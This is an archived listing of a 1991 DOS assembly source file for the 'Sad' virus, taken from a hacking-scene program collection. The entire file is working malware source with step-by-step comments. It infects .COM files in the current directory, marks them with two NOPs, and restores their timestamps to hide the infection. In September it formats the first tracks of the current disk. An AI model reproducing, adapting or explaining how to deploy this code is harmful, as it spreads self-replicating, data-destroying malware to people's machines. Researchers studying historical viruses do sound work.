home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SAD.ASM < prev    next >
Assembly Source File  |  1991-08-24  |  10KB  |  225 lines

  1. ;
  2. ; ---- Data Segment Values ----
  3. ; ds:[0f6h] = read buffer location
  4. ; ds:[0f8h] = write buffer location
  5. ; ds:[0fah] = store length of virus at this location
  6. ; ds:[0fch] = store length of file to be infected at this location
  7. ; ds:[0feh] = filename of file to infect
  8. ;
  9.  
  10. .model tiny
  11. .code
  12. org     100h               ; origin for .com files
  13. start:
  14.  
  15.    nop                     ; these two nop instructs will be used by 'Nasty'
  16.    nop                     ; to determine if a file is already infected
  17.  
  18.    ;******
  19.    ;get date
  20.    ;******
  21.    mov ah,2ah              ; get the date
  22.    int 21h                 ; do it
  23.    cmp dh,09h              ; is it September?
  24.    jnz do_not_activate     ; if NO jmp do_not_activate
  25.    ;****
  26.    ;the nasty bit
  27.    ;****
  28.    ;*
  29.    ;* 1. Print message
  30.    ;*
  31.    lea dx,mess             ; print message
  32.    mov ah,09               ; 'Nasty in September'
  33.    int 21h                 ; do it
  34.    ;****
  35.    ;* 2. Destroy disk
  36.    ;****
  37.    mov ah,19h              ; get current drive (returned in al)
  38.    int 21h                 ; do it
  39.    mov dl,al               ; dl = drive # to be formated
  40.    mov ah,05               ; disk format function
  41.    mov cl,01               ; first sector
  42.    mov ch,00               ; first track
  43.    mov dh,00               ; head zero
  44.    mov al,10h              ; 10h (16) sectors - 2 tracks
  45.    int 13h                 ; do it (overwrite first 16 tracks on currently
  46.                            ;   selected disc)
  47.  
  48.  
  49. do_not_activate:
  50.    mov cx,80h              ; save parameters; set counter to 80h bytes
  51.    mov si,0080h            ; offset in the current data segment of the byte
  52.                            ;   to be copied
  53.    mov di,0ff7fh           ; offset to which byte is to be moved
  54.    rep movsb               ; move bytes until cx=0 (decrement cx by 1 each time
  55.                            ;   loop is performed is done automatically)
  56.                            ;   (increment by 1 of si & di is done automatically)
  57.  
  58.    lea ax,begp             ; load exit from program offset address into ax
  59.    mov cx,ax               ;  "    "    "     "       "      "      "   cx
  60.    sub ax,100h             ; subtract start of .com file address (100h) from ax
  61.                            ;   ax now contains the length of the virus
  62.  
  63.    mov ds:[0fah],ax        ; put length of the virus into the data segment at
  64.                            ;   offset 0fah
  65.    add cx,fso              ; add fso (5h) to cx (offset address of exit)
  66.                            ;   so, cx=cx+5
  67.    mov ds:[0f8h],cx        ; move cx (end of virus + 5) into data segment at
  68.                            ;   offset 0f8h. ** Start of the write buffer.
  69.    ADD CX,AX               ; add virus length (ax) to cx ?????
  70.    mov ds:[0f6h],cx        ; mov cx into data segment at offset 0f6h.
  71.                            ;   ** Start of the read buffer
  72.    mov cx,ax               ; mov length of virus into cx
  73.    lea si,start            ; load address of 'start' (start of virus) into
  74.                            ;   souce index
  75.    mov di,ds:[0f8h]        ; mov the value of the write buffer (@ 0f8h) into
  76.                            ;   destination index
  77.  
  78.  
  79. rb:                        ; cx = counter (length of virus)
  80.                            ; si = offset of byte to be read
  81.                            ; di = offset of where to write byte to
  82.                            ; (auto decrement of cx & increment of si & di)
  83.    rep movsb               ; copy the virus into memory
  84.  
  85.    stc                     ; set the carry flag
  86.  
  87.    lea dx,file_type_to_infect     ; set infector for .com files only
  88.    mov ah,4eh                     ; find first file with specified params
  89.    mov cx,20h                     ; files with archive bit set
  90.    int 21h                        ; do it
  91.                                   ; if file found, CF is cleared, else
  92.                                   ;   CF is set
  93.  
  94.    or ax,ax                ; works the below instructions (jz & jmp)
  95.    jz file_found           ; if file found jmp file_found
  96.    jmp done                ; if no file found, jmp done (exit virus)
  97.  
  98. file_found:
  99.    mov ah,2fh              ; get dta (returned in es:bx)
  100.    int 21h                 ; do it
  101.  
  102.    mov ax,es:[bx+1ah]      ; mov size of file to be infected into ax
  103.    mov ds:[0fch],ax        ; mov filesize into ds:[0fch]
  104.    add bx,1eh              ; bx now points to asciz filename
  105.    mov ds:[0feh],bx        ; mov filename into ds:[0feh]
  106.    clc                     ; clear carry flag
  107.  
  108.    mov ax,3d02h            ; open file for r/w (ds:dx -> asciz filename)
  109.    mov dx,bx               ; mov filename into dx
  110.    int 21h                 ; do it (ax contains file handle)
  111.  
  112.    mov bx,ax               ; mov file handle into bx
  113.  
  114.    mov ax,5700h            ; get time & date attribs from file to infect
  115.    int 21h                 ; do it (file handle in bx)
  116.    push cx                 ; save time to the stack
  117.    push dx                 ; save date to the stack
  118.  
  119.    mov ah,3fh              ; read from file to be infected
  120.    mov cx,ds:[0fch]        ; number of bytes to be read (filesize of file to
  121.                            ;   be infected
  122.    mov dx,ds:[0f6h]        ; buffer (where to read bytes to)
  123.    int 21h                 ; do it
  124.  
  125.    mov bx,dx               ; mov buffer location to bx
  126.    mov ax,[bx]             ; mov contents of bx (first two bytes - as bx is
  127.                            ;   16-bits) into ax.
  128.  
  129.                            ; Now check to see if file is infected... if the
  130.                            ;    file is infected, it's first two bytes will be
  131.                            ;    9090h (nop nop)
  132.  
  133.    sub ax,9090h            ; If file is already infected, zero flag will be set
  134.                            ;   thus jump to fin(ish)
  135.    jz fin
  136.  
  137.  
  138.    mov ax,ds:[0fch]        ; mov filesize of file to be infected into ax
  139.    mov bx,ds:[0f6h]        ; mov where-to-read-to buffer into bx
  140.  
  141.    mov [bx-2],ax      ; correct old len
  142.  
  143.    mov ah,3ch              ; Create file with handle
  144.    mov cx,00h              ; cx=attribs -- set no attributes
  145.    mov dx,ds:[0feh]        ; point to name
  146.    clc                     ; clear carry flag
  147.    int 21h                 ; create file
  148.                            ; Note: If filename already exists, (which it does)
  149.                            ;   truncate the filelength to zero - this is ok as
  150.                            ;   we have already copied the file to be infected
  151.                            ;   into memory.
  152.  
  153.    mov bx,ax               ; mov file handle into bx
  154.    mov ah,40h              ; write file with handle (write to the file to be
  155.                            ;   infected) - length currently zero
  156.                            ;   cx=number of bytes to write
  157.    mov cx,ds:[0fch]        ; length of file to be infected
  158.    add cx,ds:[0fah]        ; length of virus
  159.    mov DX,ds:[0f8h]        ; location of write buffer (this contains the virus
  160.                            ;   + the file to be infected)
  161.    int 21h                 ; write file
  162.                            ; new file = virus + file to be infected
  163.  
  164.    mov ax,5701h            ; restore original time & date values
  165.    pop dx                  ; get old date from the stack
  166.    pop cx                  ; get old time from the stack
  167.    int 21h                 ; do it
  168.                            ; Note: Infected file will now carry the time & date
  169.                            ;   it had before the infection.
  170.  
  171.    mov ah,3eh              ; close file (bx=file handle)
  172.    int 21h                 ; do it
  173.                            ; Note: date & time stamps automatically updated if
  174.                            ;   file written to.
  175.  
  176. fin:
  177.    stc                     ; set carry flags
  178.    mov ah,4fh              ; find next file (.com)
  179.    int 21h                 ; do it
  180.    or ax,ax                ; decides zero flag outcome
  181.    jnz done                ; if no more .com files, jmp done
  182.    JMP file_found          ;   else begin re-infection process for new file.
  183.  
  184. done:
  185.    mov cx,80h              ; set counter (cx) = 80h
  186.    mov si,0ff7fh           ; source offset address (copy from here)
  187.    mov di,0080h            ; destination offset address (copy to here)
  188.    rep movsb               ; copy bytes! (cx is auto decremented by 1
  189.                            ;   si & di are auto incremented by 1)
  190.                            ; Note: this is a 'restore parameters' feature
  191.                            ;   this does the reverse of what what done earlier
  192.                            ;   in the program (do_not_activate:)
  193.  
  194.    mov ax,0a4f3h           ;
  195.    mov ds:[0fff9h],ax      ;
  196.    mov al,0eah             ;
  197.    mov ds:[0fffbh],al      ; reset data segment locations ??? (to previous
  198.    mov ax,100h             ;   values before virus infection)
  199.    mov ds:[0fffch],ax      ;
  200.    lea si,begp             ; load exit from program offset address into si
  201.    lea di,start            ; load offset address of start of virus into di
  202.    mov ax,cs
  203.    mov ds:[0fffeh],ax      ; re-align cs = ds ???
  204.    mov kk,ax
  205.    mov cx,fso
  206.  
  207.    db 0eah                 ; define byte
  208.    dw 0fff9h               ; define word
  209.    kk dw 0000h             ; define kk = word
  210.  
  211.    mess db 'Sad virus - 24/8/91',13,10,'$'    ; virus message to display
  212.  
  213.    file_type_to_infect db '*?.com',0         ; infect only .com files.
  214.  
  215.    fso dw 0005h            ; store 5 into 'fso'. dw means that fso is 2 bytes
  216.                            ;   in size (a word)
  217.                            ; ----- alma mater
  218.  
  219.  
  220. begp:
  221.    mov     ax,4c00h        ; normal dos termination (set al to 00)
  222.    int     21h             ; do it
  223.  
  224. end start
  225.